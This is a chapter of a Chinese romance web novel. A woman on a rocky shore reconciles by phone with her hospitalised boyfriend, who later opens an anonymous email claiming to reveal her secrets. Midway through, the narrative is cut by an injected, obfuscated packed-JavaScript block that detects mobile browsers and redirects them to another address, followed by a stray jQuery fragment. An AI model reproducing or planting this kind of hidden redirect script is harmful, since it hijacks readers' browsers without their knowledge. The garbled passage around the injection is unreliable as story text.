67. 备份

没时间等何泰阳做心理建设,女孩儿脆生生的声音从听筒里溢出。


“泰阳哥?你找我有事儿?”


她的声音裹着海风灌进病房,隐约还能听见模糊的汽笛声。


时相儒抬着下巴,示意何泰阳回话。


“嫂子...是这样...”


何泰阳瞟一眼躺在病床上冷笑的男人,颤颤巍巍地开口。


“儒哥他...他在清京突然有点事,所以昨天没能按时赴约,托我跟嫂子报备一声...”


“噢,这样啊...”


江迟迟似乎浅浅松了口气,她坐在海边的礁石上,眼神飘忽地眺望海面。


“那他怎么不自己跟我说?”


“儒哥他手机丢了,还没来得及补办。”


这说的是实话,补办手机卡得本人到场,何泰阳也没法儿帮他办。


海风徐徐,混着咸湿的气息扑面而来,鸥鸟震着翅膀划破长空,在悠长的雾笛声中飞向远方。


江迟迟说不清自己心里是生气多些,还是那不争气的担忧更多。


男人就这样失约,整整一天,连一条解释的短信都没有。


就连这个电话都是何泰阳代打的。


时相儒人在哪里?


“泰阳哥,时相儒在你旁边吗?”


病床上的男人惨白着一张脸,沉默许久,缓缓摇头。


何泰阳照他的意思复述,“不在,儒哥有事儿出去了,还没忙完。”


有什么事儿比她还重要?


江迟迟隐隐察觉出一丝不对劲。


前天晚上那通电话里,时相儒明明已经朝她服软,还着急忙慌地回岛道歉。昨天的短信也一切如旧,怎么短短一天时间,时相儒就像变了一个人似的,对她避而不见?


江迟迟的印象里,若真是像何泰阳说的那样,时相儒就算是手机丢了,也会第一时间借别人的手机给她报平安。


现在这个情况,更像是两个月前,时相儒气她隐瞒宋坤的事,不告而别。


女孩儿攥紧手机,忽然冒出一个不好的猜想。


时相儒是不是知道什么了?


一道浪扑上礁石,淋湿她的鞋袜,女孩儿向上蜷缩着腿,心跳却比海浪更汹涌。


“哦...这样啊...”


江迟迟不自在地闷声开口,“还有别的事儿吗?”


何泰阳站在病房里,第一次如此希望世界毁灭。


快来一颗陨石撞地球,把他们所有人都带走得了!


一起死!


牢骚归牢骚,何泰阳在心里把时相儒骂了八百遍,嘴上只能诺诺开口。


“就是那个...上次签售会我跟你商量的那件事...”


江迟迟心重重一跳。


果然和那个误会有关。


再开口,女孩儿的语气染上焦急。


“时相儒他知道了?”


知道,但没完全知道。


不过他感觉再聊下去,时相儒就真的要知道了。


“...对。”


被男人像猎物一样盯着,还是免提外放的声音,何泰阳不敢有小动作,老老实实回答。


“儒哥知道了,他还挺生气的。”


可不生气么,这眼神看得他心里发怵。


耳旁的潮声忽然变得很吵。江迟迟目不转睛地盯着那只远去的海鸥,直到它消失在天际中。


女孩儿背影凝固得像个石膏,手机从指尖滑落,掉进礁石的夹缝里。


浪头撞碎在脚边,海水溅进眼睛,刺得她生疼。她动作有些滞涩,弯腰去捞手机,像台年久失修的机器,指甲抠进礁石青苔,手一滑,她才发现,她的手抖得快要握不住东西。


勉强捡起手机,一颗豆大的泪珠毫无征兆地滴落在屏幕的裂痕上。


原来,时相儒知道了自己骗他的真相。


“所以时相儒没回来,他...他是不是要和我...分手...”


女孩儿颤抖的嗓子从听筒里传来,呼吸声混着浪涛,一下一下拍在时相儒的心上。


时相儒煎熬地盯着免提通话界面,像有人往他太阳穴钉钉子。


何泰阳一听这声音就知道她肯定误会了,“不是不是,哪儿能呢!嫂子你听我说!”


他最见不得女孩儿哭,更何况这次还是自己引起的。


何泰阳急得团团转,嘴巴一松,话就这么飘了出去。


“儒哥就是气小张那事儿,真没别的意思!也没要跟嫂子你分手!”


江迟迟抹了把脸,湿漉漉的不知是海水还是别的,听完何泰阳的话,鼻尖一抖一抖地耸着,问出声。


“小...张?”


小张...是谁?


何泰阳:...这一刻终究还是来了。


他只能寄希望于江迟迟能听懂他话里的暗示。


“对啊,迟迟姐...哦不,嫂子!就是之前那个搭讪你的小张,咱们不是说好把这事儿瞒着儒哥,不能让他知道吗。”


女孩儿喉咙干涩,似乎全身所有的水分都将从眼眶中跃出。


被酸涩的刺痛占领的理智逐渐回神,江迟迟微张着唇,咸涩的风灌进肺里。她咽下一口苦味的空气,像吞下了思绪的激发剂,一些被她忽视的小细节顺着潮汐蛄蛹到她面前。


她发现何泰阳话里的不对劲。


江迟迟闭上眼,仔仔细细地回忆何泰阳和她说过的每一句话。


雾笛悠扬地鸣过,女孩儿睁开亮晶晶的双眸。


没错,她不会记错——何泰阳从来没叫过她“嫂子”。


在何泰阳知道“复合”的误会之前,他叫她“老板娘”。


可自从他明白江迟迟心底的犹豫后,这位老练精明的经纪人立马改口,叫她“迟迟姐”。


从未叫过她“嫂子”。


什么情况下会叫一个人“嫂子”?


江迟迟大脑疯狂地转。


“嫂子”是“哥”的配偶,有“哥”,才会有“嫂子”。


她记得,何泰阳叫时相儒,就是叫“儒哥”。


再加上何泰阳牛头不对马嘴的“小张”、“误会”...


一个荒诞的念头像溺水的躯体,缓缓浮上海面。


时相儒...是不是在旁边?


江迟迟嗓音发紧,像是被螃蟹夹过,尾音带着挥发不去的水汽。


“原来、原来是这样...”


扑通、扑通...她心脏狂跳,顺着何泰阳的话说下去。


“那...现在怎么办?”


怎么办?


他何泰阳也想知道,现在怎么办?!!


自从电话里迟迟的嗓音带上哭腔,时相儒就像失了魂似的,默不作声地躺在病床上。


男人的脸色比洗过无数次的床单还白,他在身下攥出白色的漩涡,像要把那句“分手”绞碎了丢进去。


右手的针眼因为过度用力,开始渗出细细密密的血渍,在他的手背织出猩红的蛛网。


何泰阳知道,时相儒不忍心。


他也根本不可能对江迟迟狠下心。


如果时相儒能把对待网友万分之一的毒舌拿来对待江迟迟,他俩早就分道扬镳了,根本不会有那个“误会”的发生。


何泰阳盯着时相儒惨白的脸色,试探着开口。


“要不,嫂子你给儒哥道个歉?”


江迟迟声音发闷,像从海底传来似的,“嗯,好。”


但是,“时相儒他在哪儿?”


“他...”


何泰阳眼神询问沉默的男人。


时相儒眨眼,修长的睫毛在冷光灯下投出阴影。


喉结滚动,男人缓缓抬起胳膊。


“哎,嫂子,真巧!儒哥回来了,来来来,你跟他说!”


何泰阳像丢一块烫手山芋似的,飞快把手机递到他手上。


一阵衣料摩擦的声音后,电话那头重归于静。


女孩儿的下唇被她咬得糜红不已,她不知道时相儒从何泰阳那里听说了多少,也不知道手机对面的那人究竟是什么态度。


他不出声,静静地等着。


江迟迟只好先开口。


“阿儒...你、你还好吗?”


仅仅是一句话,就这一句简单的问候。


时相儒精心垒起的心墙就因为这轻飘飘的一句话,轰然坍塌。


心上像扎了一根刺,随着每次跳动越陷越深,逐渐穿透他的心脏。


电话接通前,他原本想和江迟迟冷静对峙,看看何泰阳是不是在说谎,他们到底是不是真的有事儿瞒着他。


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15346372|161146||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


他引以为傲的缜密的思维、锐利的话语、严谨的逻辑,在她出声的那一刻,溃不成军。


男人不争气地开口,“嗯,我没事。”


浪声停了半秒,复而筑起更高的墙。


隔着电话,江迟迟听不出他话里的情绪。


“那...那你什么时候回来?”


她孤零零地坐在礁石上,望着归港的渔船一艘一艘地熄灭发动机。


他们搬下成框成框的海货,满载而归地和家人团圆。


海风吹走她的轻语。


“我想你了。”


心上的刺烟消云散。


时相儒不可抑制地扬起唇角,他躺在病床上,周身的阴戾被女孩儿的软语温柔地抚平。


“昨天,我在南港的码头等了你很久。”


等到鸥鸟归巢,人群都散了,依旧没有等到你。


后半句话她没说,但时相儒听进心里。


他费力地撑着手臂,缓缓从病床上坐起来,牵着右手的吊瓶轻晃,像安静的风铃。


何泰阳在他背后垫了个枕头,偷瞄他的脸色。


江迟迟只说了四句话,丝毫没提“对不起”。


但看时相儒的表情,恐怕早就心软,哪儿还舍得为难她?


何泰阳:太好了,这把稳了。


再开口,男人的语气不复之前的僵硬,不知不觉地放轻语调。


“昨天出了点事儿,手机掉了,没来得及联系你。”


时相儒紧紧嗓子,“抱歉,迟迟,让你担心了。”


何泰阳在他看不见的地方挑眉:看,先道歉的还是他呢。


江迟迟手指摩挲着身下光滑圆润的礁石,温声细语。


“你还好吗?有没有遇到什么麻烦?”


男人苦笑着摇头,“没事,别担心。我很快就回来,大概...”


他记得医生说身体无碍,等会儿就能出院。


最近一班清京飞往南港的飞机是明天早晨。


“...大概明天中午就能回来。”


时相儒低声闷笑,“等你上午巡逻完,我就落地南港了。”


“好,那我等你。”


病房里响起悄悄话,何泰阳翻个白眼,自觉走到边上。


细细簌簌的声音,像雪落在地上。


时相儒刚醒,精力没完全恢复,没聊太久。


挂断电话,时相儒立马掀开被子,“出院,出院!”


他恨不得现在插双翅膀,马上飞回清洲岛。


何泰阳黑脸给他摁了回去,“大哥,好歹先等你手上这瓶葡萄糖打完吧?!”


像在摁一头不听话的狗。


折腾半天,时相儒终于如愿离开这恼人的医院,迫不及待地找了个营业厅买手机补办卡。


买好机票,截图发给江迟迟。


女孩儿回,“等你。”


时相儒嘴角翘上天。


“儒哥,你今晚是回家还是住酒店?”


时相儒在清京有一套房子,只是上岛之后好几个月没回去住过。


“回家。”


他想回去拿个东西。


空荡荡的家里没有人气,时相儒推开熟悉的房门,简单洗漱完,躺回床上。


床头柜上摆放着一枚心脏形状的红珊瑚。


时相儒把它取下,放进行李箱。


和江迟迟互道晚安,男人疲惫地躺在大床上,手头有一搭没一搭地回复工作邮件。


真正有意义的不多,大部分都是广告营销,他瞥一眼便准备关上。


直到“江迟迟”三个字像恶搞盒里的拳头一样,大剌剌地蹦到他眼前。


那封邮件标题:“想知道江迟迟背着你干过什么好事儿吗?”


发件人是个没名字的小邮箱,邮件没有内容,只在最后附了一个几十兆的文档。


时相儒第一反应是诈骗。


他本名暴露后,肯定有人会联想到“清洲文旅”的号上,推测出江迟迟是他女朋友是早晚的事。


对这种居心不良的人,时相儒果断点击拉黑。


半夜,男人顶着黑眼圈从床上坐起来,薅起手机,从黑名单里把那封邮件挪了出来。


点开附件,文档标题——


“虚见意今天孤寡了吗-聊天记录备份”